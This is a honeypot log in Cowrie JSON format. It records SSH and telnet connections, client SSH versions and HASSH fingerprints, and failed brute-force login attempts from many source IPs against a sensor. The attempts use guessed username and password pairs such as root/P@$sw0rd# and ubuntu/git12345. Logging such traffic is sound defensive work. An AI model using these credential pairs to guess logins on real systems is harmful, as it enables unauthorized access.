{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:55.090205Z","src_ip":"102.88.137.80","session":"969183356d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git12345","message":"login attempt [ubuntu/git12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:55.853601Z","src_ip":"102.88.137.80","session":"969183356d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.261008501052856,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:56.127671Z","src_ip":"172.81.62.90","session":"6d4c318f96fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":47420,"dst_ip":"10.17.0.5","dst_port":23,"session":"67818ddf0df1","protocol":"telnet","message":"New connection: 94.23.66.112:47420 (10.17.0.5:23) [session: 67818ddf0df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:56.761961Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:57.038048Z","src_ip":"102.88.137.80","session":"969183356d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":45858,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b0e584ecaa5","protocol":"ssh","message":"New connection: 189.203.163.10:45858 (10.17.0.5:22) [session: 5b0e584ecaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:59.347594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:59.351791Z","src_ip":"189.203.163.10","session":"5b0e584ecaa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:59.414786Z","src_ip":"189.203.163.10","session":"5b0e584ecaa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"codereview","password":"123456","message":"login attempt [codereview/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:13:59.700683Z","src_ip":"189.203.163.10","session":"5b0e584ecaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:00.766894Z","src_ip":"189.203.163.10","session":"5b0e584ecaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38352,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9d4d6d48ff","protocol":"telnet","message":"New connection: 128.199.8.54:38352 (159.203.135.109:23) [session: 2d9d4d6d48ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:03.337478Z"}
{"eventid":"cowrie.session.closed","duration":0.005397319793701172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:03.342740Z","src_ip":"128.199.8.54","session":"2d9d4d6d48ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":52606,"dst_ip":"159.203.135.109","dst_port":22,"session":"391df74d9471","protocol":"ssh","message":"New connection: 92.113.145.209:52606 (159.203.135.109:22) [session: 391df74d9471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:11.754631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:11.758847Z","src_ip":"92.113.145.209","session":"391df74d9471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:11.881935Z","src_ip":"92.113.145.209","session":"391df74d9471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steven","password":"steven","message":"login attempt [steven/steven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:12.408663Z","src_ip":"92.113.145.209","session":"391df74d9471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:13.533488Z","src_ip":"92.113.145.209","session":"391df74d9471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":35250,"dst_ip":"10.17.0.5","dst_port":22,"session":"68558ed8f469","protocol":"ssh","message":"New connection: 79.104.0.82:35250 (10.17.0.5:22) [session: 68558ed8f469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:45.993574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:45.997957Z","src_ip":"79.104.0.82","session":"68558ed8f469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:46.154617Z","src_ip":"79.104.0.82","session":"68558ed8f469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discount","password":"discount123","message":"login attempt [discount/discount123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:46.805031Z","src_ip":"79.104.0.82","session":"68558ed8f469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:47.962224Z","src_ip":"79.104.0.82","session":"68558ed8f469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":49890,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa87d326ca7a","protocol":"ssh","message":"New connection: 102.88.137.80:49890 (10.17.0.5:22) [session: fa87d326ca7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:48.371406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:48.376810Z","src_ip":"102.88.137.80","session":"fa87d326ca7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:48.566582Z","src_ip":"102.88.137.80","session":"fa87d326ca7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd#","message":"login attempt [root/P@$sw0rd#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:49.330783Z","src_ip":"102.88.137.80","session":"fa87d326ca7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":38578,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a1aaa872f7","protocol":"ssh","message":"New connection: 160.251.185.39:38578 (10.17.0.5:22) [session: 29a1aaa872f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:50.409730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:50.413443Z","src_ip":"160.251.185.39","session":"29a1aaa872f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:50.516685Z","src_ip":"102.88.137.80","session":"fa87d326ca7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:50.592124Z","src_ip":"160.251.185.39","session":"29a1aaa872f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wsq","password":"wsq123","message":"login attempt [wsq/wsq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:51.342697Z","src_ip":"160.251.185.39","session":"29a1aaa872f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":55514,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c84224722b","protocol":"ssh","message":"New connection: 76.79.213.69:55514 (10.17.0.5:22) [session: 91c84224722b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:52.121486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:52.128670Z","src_ip":"76.79.213.69","session":"91c84224722b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:52.251725Z","src_ip":"76.79.213.69","session":"91c84224722b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:52.526483Z","src_ip":"160.251.185.39","session":"29a1aaa872f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sunil","password":"1234","message":"login attempt [sunil/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:52.770651Z","src_ip":"76.79.213.69","session":"91c84224722b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:53.895379Z","src_ip":"76.79.213.69","session":"91c84224722b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.117","src_port":53205,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f5350fae88","protocol":"telnet","message":"New connection: 198.235.24.117:53205 (10.17.0.5:23) [session: e4f5350fae88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:14:59.678255Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":46002,"dst_ip":"159.203.135.109","dst_port":22,"session":"848a372ce140","protocol":"ssh","message":"New connection: 217.168.240.63:46002 (159.203.135.109:22) [session: 848a372ce140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:22.851265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:22.858320Z","src_ip":"217.168.240.63","session":"848a372ce140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:22.988709Z","src_ip":"217.168.240.63","session":"848a372ce140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"connie","password":"connie123","message":"login attempt [connie/connie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:23.542931Z","src_ip":"217.168.240.63","session":"848a372ce140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:24.681363Z","src_ip":"217.168.240.63","session":"848a372ce140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":34720,"dst_ip":"10.17.0.5","dst_port":22,"session":"de9bc267d5d7","protocol":"ssh","message":"New connection: 5.89.75.194:34720 (10.17.0.5:22) [session: de9bc267d5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:28.758338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:28.762814Z","src_ip":"5.89.75.194","session":"de9bc267d5d7","protocol":"ssh"}
